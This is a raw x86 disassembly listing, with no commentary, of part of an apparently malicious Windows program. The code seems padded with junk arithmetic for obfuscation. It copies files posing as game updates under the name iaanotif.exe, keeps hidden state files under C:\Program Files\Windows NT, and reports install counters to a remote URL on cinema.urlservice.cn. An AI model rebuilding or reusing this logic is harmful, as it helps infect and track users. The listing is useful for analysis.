imul eax, eax, 0x1412258
add ecx, edx
mov edx, dword [0x43e2d0]
add ecx, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x51e0e37b
imul ebx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, 0x3493ae
add esp, 8
test edi, edi
mov dword [0x43e2d0], ecx
jne 0x40799d
lea ecx, [esp + 0xb70]
push 0x2f
push ecx
call fcn.00417660
mov edi, eax
add esp, 8
test edi, edi
je 0x407e4f
mov esi, dword [0x43e2bc]
mov ecx, dword [0x43e2d0]
mov ebx, dword [0x43e2d8]
mov eax, 0x6445fc6d
imul ebx, ebx, 0x28d92c
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2c8]
sub ebx, eax
imul edx, edx, 0x754f74
add ebx, edx
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2c0]
sub ebx, eax
imul edx, edx, 0x643bbd
mov eax, esi
imul esi, esi, 0x450e38
imul eax, eax, 0x302f8a
sub ebx, edx
add ebx, eax
mov eax, 0x65c6b7f9
imul dword [str._r_____r____]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul dword [0x43e2c0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x43e2c0]
sub ebx, eax
add ecx, ebx
lea ecx, [esi + ecx + 0x450e38]
lea eax, [edi + 1]
lea esi, [esp + 0x7f0]
mov dword [0x43e2cc], ecx
mov ecx, eax
sub esi, eax
mov dl, byte [ecx]
mov byte [ecx + esi], dl
inc ecx
test dl, dl
jne 0x407a52
mov edx, dword [str.iaanotif.exe]
mov dword [eax], edx
mov ecx, dword [0x433180]
mov dword [eax + 4], ecx
mov edx, dword [0x433184]
mov dword [eax + 8], edx
mov cl, byte [0x433188]
mov byte [eax + 0xc], cl
mov edx, dword [0x43e2c0]
mov ecx, dword [0x43e2d0]
mov esi, dword [str._r_____r____]
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, ecx
imul edi, edi, 0x946b47
sub edi, eax
mov eax, dword [0x43e2bc]
imul eax, eax, 0x753dc2
mov edx, esi
imul edx, edx, 0x754f74
sub edi, edx
add edi, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x278a52fb
imul esi
sar edx, 0x14
mov esi, edx
sub edi, ecx
mov ecx, dword [0x43e2c4]
add edi, edx
mov edx, dword [0x43e2d8]
imul edx, edx, 0x3493ae
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [esp + 0x14]
sub esi, 0x643bbd
cmp eax, 1
mov dword [0x43e2c4], esi
jne 0x407d6e
cmp dword [esp + 0x24], 2
jg 0x407d6e
lea ecx, [esp + 0x5f0]
push str.NewGameUpdate_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407d6e
lea edx, [esp + 0x5f0]
push str.GameVersionUpdate1_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407d6e
lea eax, [esp + 0x5f0]
push str.UpdateTool_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407d6e
lea ecx, [esp + 0x7f0]
push ecx
lea edx, [esp + 0x5f4]
push edx
lea eax, [esp + 0xb78]
push eax
call fcn.00405e80
add esp, 0xc
test eax, eax
jne 0x407dbc
mov ebx, dword [esp + 0x24]
inc ebx
push eax
mov dword [esp + 0x28], ebx
call fcn.00417dce
push eax
lea ecx, [esp + 0x2278]
push 0x433088
push ecx
call fcn.00416ca1
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0x10
push str.C:Program_FilesWindows_NT_sms_log.txt
lea edx, [esp + 0x2274]
push edx
push str.start
push str.Enable
call esi
xor eax, eax
mov edi, edi
mov cl, byte [esp + eax + 0x5f0]
mov byte [esp + eax + 0x1f70], cl
inc eax
test cl, cl
jne 0x407c10
lea eax, [esp + 0x1f70]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407c30
mov ecx, dword [str..txt]
sub eax, edx
mov dl, byte [0x43268c]
lea eax, [esp + eax + 0x1f6c]
mov dword [eax], ecx
mov byte [eax + 4], dl
lea eax, [esp + 0x1f70]
push eax
lea ecx, [esp + 0x2274]
push ecx
push str.start
push str.Enable
call esi
push str.C:Program_FilesWindows_NT_sms_log.txt
push 0x1400
lea edx, [esp + 0x2278]
push edx
push 0x432d67
push 0x433178
push str.Enable
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [esp + 0x2270]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ca0
sub eax, edx
mov dword [esp + 0x38], eax
je 0x407cf2
lea eax, [esp + 0x2270]
push 0x433174
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407cd8
lea ecx, [esp + 0x2270]
push ecx
call fcn.00403fa0
add esp, 4
lea edi, [esp + 0x2270]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407ce0
mov dx, word [0x433170]
mov word [edi], dx
lea eax, [esp + 0x5f0]
push eax
lea ecx, [esp + 0x2274]
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407dbc
lea eax, [esp + 0x2270]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407d20
sub eax, edx
lea edx, [esp + 0x5f0]
push edx
lea eax, [esp + eax + 0x2274]
push 0x433168
push eax
call fcn.00416ca1
lea ecx, [esp + 0x227c]
push ecx
call fcn.00403ea0
add esp, 0x10
push str.C:Program_FilesWindows_NT_sms_log.txt
lea edx, [esp + 0x2274]
push edx
push 0x433178
push str.Enable
call esi
jmp 0x407dbc
lea eax, [esp + 0xb70]
push 0
push eax
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x407dbc
lea ecx, [esp + 0x5f0]
push 0
push ecx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x407dbc
lea edx, [esp + 0x5f0]
push edx
call fcn.00405a70
add esp, 4
cmp ax, 0x2710
jb 0x407dbc
cmp ax, 0x4e20
jae 0x407dbc
inc dword [esp + 0x24]
lea eax, [esp + 0x5f0]
push 0
push eax
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x40802d
lea ecx, [esp + 0x5f0]
push str.NewGameUpdate_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x40802d
lea edx, [esp + 0x5f0]
push str.GameVersionUpdate1_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x40802d
lea eax, [esp + 0x5f0]
push str.UpdateTool_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x40802d
lea ecx, [esp + 0x5f0]
push ecx
call fcn.00405fc0
add esp, 4
test eax, eax
jne 0x40802d
inc dword [esp + 0x20]
jmp 0x40802d
mov ecx, dword [0x43e2d4]
mov esi, dword [0x43e2cc]
mov eax, 0x321c7f55
imul esi, esi, 0xa9e322
imul ecx
mov ecx, dword [0x43e2c0]
sar edx, 0x14
imul ecx, ecx, 0x643bbd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x43e2c8]
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x8d9c64
sub esi, eax
add esi, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
mov eax, ecx
imul eax, eax, 0x450e38
sar edx, 0x14
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
sub edi, ecx
lea eax, [edi + edx - 0x28d92c]
mov dword [0x43e2c8], eax
jmp 0x40802d
mov ecx, dword [0x43e2c8]
imul edi, edi, 0x302f8a
mov eax, 0x8ba9e88d
imul ecx
mov esi, ecx
imul esi, esi, 0x28d92c
add edx, ecx
mov ecx, dword [0x43e2c4]
sar edx, 0x16
add esi, edx
mov ebx, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov esi, edx
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ebx
sub esi, eax
mov eax, 0x51bab243
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, edi
imul ecx, ecx, 0x679728
lea ecx, [esi + ecx + 0x2fa80f]
mov dword [0x43e2d8], ecx
jmp 0x40802d
mov esi, dword [0x43e2bc]
mov ebx, dword [0x43e2d8]
mov ecx, dword [0x43e2c8]
imul ebx, ebx, 0x28d92c
mov eax, 0x6445fc6d
imul ecx, ecx, 0x754f74
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x43e2c0]
add ebx, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edx, edx, 0x643bbd
mov eax, esi
imul esi, esi, 0x450e38
imul eax, eax, 0x302f8a
sub ebx, edx
mov edx, dword [str._r_____r____]
add ebx, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
sub ebx, eax
add ecx, ebx
lea ecx, [esi + ecx + 0x450e38]
mov dword [0x43e2cc], ecx
mov eax, 0x100
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], eax
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x4f4]
push eax
mov eax, dword [esp + 0x20]
push 0
push 0
lea ecx, [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [esp + 0x2184]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
jne 0x406e14
mov esi, dword [0x43e2d8]
mov edx, dword [0x43e2bc]
imul esi, esi, 0x754f74
mov ecx, dword [0x43e2d4]
imul edx, edx, 0x74bc7
add esi, edx
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x43e2cc]
mov edx, ecx
imul eax, eax, 0x69275c
imul edx, edx, 0x643bbd
add esi, edx
add esi, eax
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2c8]
imul ecx, ecx, 0x679727
sar edx, 0x13
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, ecx
mov ecx, dword [0x43e2dc]
mov eax, 0x51e0e37b
imul ecx
mov ecx, dword [esp + 0x30]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, 0x643bbd
push ecx
mov dword [0x43e2c0], edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
inc eax
cmp eax, 2
mov dword [esp + 0x1c], eax
jl 0x406bb6
mov ecx, dword [0x43e2bc]
mov ebx, dword [str._r_____r____]
mov edi, dword [0x43e2d8]
sub edi, ebx
imul edi, edi, 0x754f74
mov edx, ecx
imul edx, edx, 0x28d92c
add edi, edx
mov esi, dword [0x43e2cc]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x302f8a
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul esi, esi, 0x3493ae
imul edx, edx, 0x643bbd
add edi, edx
add edi, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2d4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
add edi, edx
mov ebx, edx
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
shr ebx, 0x1f
add ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, esi
add eax, edx
sub ebx, eax
test byte [0x44931c], 1
lea ecx, [ebx + ecx - 0x643bbd]
mov dword [0x43e2bc], ecx
mov esi, 1
jne 0x4081fc
mov edi, dword [0x44931c]
or edi, esi
push 0
mov dword [0x44931c], edi
call fcn.00417dce
add esp, 4
mov dword [0x449318], eax
mov eax, dword [0x449314]
test eax, eax
jne 0x4084de
cmp dword [esp + 0x14], esi
je 0x4084de
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
add eax, edx
test eax, eax
jg 0x4084de
push 0
mov dword [0x449314], esi
call fcn.00417dce
sub eax, dword [0x449318]
add esp, 4
cmp eax, 0x14
jge 0x408254
mov ecx, 0x14
sub ecx, eax
imul ecx, ecx, 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push str.C:Program_FilesWindows_NT_sms_log.txt
push 0x1400
lea edx, [esp + 0xb78]
push edx
push 0x432d67
push 0x433178
push str.Enable
mov dword [esp + 0x30], 0
call ebx
lea eax, [esp + 0xb70]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408290
sub eax, edx
mov dword [esp + 0x38], eax
je 0x4084e4
lea eax, [esp + 0xb70]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4082b0
sub eax, edx
mov dword [esp + 0x14], eax
lea eax, [esp + 0xb70]
push 0x433174
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x4082e6
lea ecx, [esp + 0xb70]
push ecx
call fcn.00403fa0
add esp, 4
xor eax, eax
mov byte [esp + 0x3670], 0
mov ecx, 0x4ff
lea edi, [esp + 0x3671]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0xb70]
push edx
stosb byte es:[edi], al
lea eax, [esp + 0x44]
push 0x12c
push eax
call fcn.004040a0
add esp, 0xc
test eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x1c], 0
jle 0x408457
lea eax, [esp + 0x870]
sub eax, 4
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + eax*4 + 0x40]
lea edx, [esp + 0x870]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x408350
lea eax, [esp + 0x870]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408364
mov ecx, dword [esp + 0x10]
sub eax, edx
mov edx, dword [str..txt]
add ecx, eax
mov al, byte [0x43268c]
mov dword [ecx], edx
mov byte [ecx + 4], al
lea ecx, [esp + 0x870]
push ecx
push 0x100
lea edx, [esp + 0x978]
push edx
push 0x432d67
push str.start
push str.Enable
call ebx
lea eax, [esp + 0x970]
push eax
call fcn.00417ed1
push 0
mov edi, eax
call fcn.00417dce
sub eax, edi
add esp, 8
cmp eax, 0xa8c0
jge 0x408442
fild dword [esp + 0x14]
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
fcomp qword [0x433160]
fnstsw ax
test ah, 1
jne 0x408442
lea eax, [esp + 0x3670]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083f0
sub eax, edx
mov dword [esp + 0x3c], eax
je 0x408419
lea edi, [esp + 0x3670]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408407
mov cx, word [0x433170]
mov word [edi], cx
lea eax, [esp + 0x3670]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408423
sub eax, edx
push esi
lea edx, [esp + eax + 0x3674]
push 0x433168
push edx
call fcn.00416ca1
add esp, 0xc
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x38]
inc eax
cmp eax, ecx
mov dword [esp + 0x1c], eax
jl 0x408341
fild dword [esp + 0x14]
fcomp qword [0x433160]
fnstsw ax
test ah, 1
jne 0x4084ae
lea eax, [esp + 0x3670]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408472
sub eax, edx
mov dword [esp + 0x3c], eax
je 0x4084ae
lea eax, [esp + 0x3670]
push eax
call fcn.00403ea0
add esp, 4
push str.C:Program_FilesWindows_NT_sms_log.txt
lea ecx, [esp + 0x3674]
push ecx
push 0x433178
push str.Enable
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [esp + 0x18], 2
jge 0x4084e4
mov ecx, dword [0x43e2bc]
mov esi, dword [0x43e2c8]
mov edi, dword [0x43e2cc]
mov dword [0x449314], 2
mov dword [esp + 0x14], 1
jmp 0x406a11
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0x870]
push str.C:Program_FilesWindows_NT_service6.ini
push edx
call fcn.00416ca1
add esp, 8
lea eax, [esp + 0x870]
push eax
push 0x100
lea ecx, [esp + 0x978]
push ecx
push 0x432d67
push str.ccccc
push str.info
call ebx
lea edx, [esp + 0x970]
push edx
call fcn.00417ed1
push 0
mov esi, eax
call fcn.00417dce
sub eax, esi
add esp, 8
cmp eax, 0x168
jl 0x408721
push 0
call fcn.00417dce
push eax
lea eax, [esp + 0xb78]
push 0x433088
push eax
call fcn.00416ca1
add esp, 0x10
lea ecx, [esp + 0x870]
push ecx
lea edx, [esp + 0xb74]
push edx
push str.ccccc
push str.info
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push str.C:Program_FilesWindows_NT_sms_log.txt
push 0x1400
lea eax, [esp + 0xb78]
push eax
push 0x432d67
push 0x433178
push str.Enable
call ebx
lea eax, [esp + 0xb70]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085b0
sub eax, edx
mov dword [esp + 0x3c], eax
je 0x408721
lea ecx, [esp + 0xb70]
push 0x433174
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x4085ec
lea edx, [esp + 0xb70]
push edx
call fcn.00403fa0
add esp, 4
lea eax, [esp + 0xb70]
push eax
lea ecx, [esp + 0x44]
push 0x12c
push ecx
call fcn.004040a0
add esp, 0xc
xor edi, edi
test eax, eax
mov dword [esp + 0x38], eax
jle 0x408721
mov ebx, dword [esp + 0x34]
jmp 0x408620
mov eax, dword [esp + edi*4 + 0x40]
lea edx, [esp + 0x5f0]
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x408630
lea edx, [esp + 0x5f0]
push 0
push edx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x408666
lea eax, [esp + 0x5f0]
push eax
call fcn.00405fc0
add esp, 4
test eax, eax
jne 0x408666
inc ebx
lea ecx, [esp + 0x5f0]
push ecx
call fcn.00405a70
add esp, 4
cmp ax, 0x2710
jb 0x408686
cmp ax, 0x4e20
jb 0x408712
xor eax, eax
jmp 0x408690
mov cl, byte [esp + eax + 0x5f0]
mov byte [esp + eax + 0xb70], cl
inc eax
test cl, cl
jne 0x408690
lea edx, [esp + 0xb70]
push 0x5c
push edx
call fcn.00417660
add esp, 8
test eax, eax
je 0x408712
lea esi, [eax + 1]
lea edx, [esp + 0x7f0]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4086c7
mov eax, dword [str.iaanotif.exe]
mov dword [esi], eax
mov ecx, dword [0x433180]
mov dword [esi + 4], ecx
mov edx, dword [0x433184]
mov dword [esi + 8], edx
mov al, byte [0x433188]
lea ecx, [esp + 0x7f0]
push ecx
lea edx, [esp + 0x5f4]
mov byte [esi + 0xc], al
push edx
lea eax, [esp + 0xb78]
push eax
call fcn.00405e80
add esp, 0xc
mov eax, dword [esp + 0x38]
inc edi
cmp edi, eax
jl 0x408620
jmp 0x408725
mov ebx, dword [esp + 0x34]
cmp dword [0x449314], 2
je 0x40873e
mov eax, dword [esp + 0x20]
test eax, eax
jg 0x40873e
test ebx, ebx
jle 0x40881c
push str.C:Program_FilesWindows_NT_sms_log.txt
push 0x1400
lea ecx, [esp + 0xb78]
push ecx
push 0x432d67
push str.stat2
push str.Enable
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0xb70]
push edx
call fcn.00417ed1
push 0
mov esi, eax
call fcn.00417dce
sub eax, esi
add esp, 8
cmp eax, 0xe10
jl 0x40881c
push 0
call fcn.00417dce
push eax
lea eax, [esp + 0xb78]
push 0x433088
push eax
call fcn.00416ca1
add esp, 0x10
push str.C:Program_FilesWindows_NT_sms_log.txt
lea ecx, [esp + 0xb74]
push ecx
push str.stat2
push str.Enable
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov edx, dword [esp + 0x20]
mov eax, dword [0x449314]
push ebx
push edx
push eax
lea ecx, [esp + 0xb7c]
push str.http:__cinema.urlservice.cn_pcgame_C8C_gl_cnzz7.html_Wang11_Flag_d_OtherSetup_d_RepairSetup_d
push ecx
call fcn.00416ca1
mov eax, dword [0x4468f0]
push 0
push 0
push 0
push 0
lea edx, [esp + 0xb94]
push edx
push 0x43e2e4
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.00427853
add esp, 0x40
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x43e2bc]
mov ecx, dword [0x43e2c8]
imul edi, edi, 0xa9d170
imul ecx, ecx, 0x754f74
mov esi, dword [0x43e2d8]
add edi, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov ecx, dword [0x43e2dc]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51bab243
imul esi
sar edx, 0x15
add edi, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0x643bbe
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edx, dword [0x43e2d4]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
lea edx, [ecx + ebx - 0x247508]
mov ecx, dword [esp + 0x4a74]
mov dword [str._r_____r____], edx
call fcn.00416fcd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret